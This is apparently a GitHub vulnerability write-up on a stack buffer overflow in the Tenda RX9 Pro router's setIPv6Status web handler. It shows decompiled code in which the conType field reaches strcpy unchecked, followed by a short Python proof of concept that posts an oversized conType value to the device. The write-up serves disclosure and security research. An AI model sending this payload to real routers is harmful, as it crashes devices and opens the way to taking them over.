whiter6666 Create setIPv6Status.md History

1 contributor

30 lines (16 sloc) | 447 Bytes

buffer overflow

Tenda_RX9_Pro

version: V22.03.02.10

Description:

There is a buffer overflow in httpd/setIPv6Status

Source:

you may download it from : https://www.tendacn.com/download/detail-4218.html

Analyse:

```
int v22[4]; // [sp+34h] [-14h] BYREF

memset(v20, 0, sizeof(v20));
v21[0] = 0;
v21[1] = 0;
memset(v22, 0, sizeof(v22));
blob_buf_init(v20, 0);
value = get_value(a1, "IPv6En", "0");
sub_421BEC(v20, 0, value);
v3 = get_value(a1, "conType", "DHCP");
sub_421BEC(v20, 25, v3);
strcpy(v22, v3);
v4 = get_value(a1, "ISPusername", "");
sub_421BEC(v20, 31, v4);
v5 = get_value(a1, "ISPpassword", "");
sub_421BEC(v20, 32, v5);
v6 = get_value(a1, "prefixDelegate", "0");
sub_421BEC(v20, 26, v6);
strcpy(v21, v6);
if ( strcmp(v22, "6in4") )
  v7 = "wanAddr";
else
  v7 = "intfIPv6";
UNKNOWN sub_421F64:27 (421FB4)
```

get value from conType and call strcpy, cause buff overflow

POC

```
url = "http://192.168.1.13/goform/setIPv6Status"
payload = 'A'*300 + '\n'

r = requests.post(url, data={'conType': payload})
```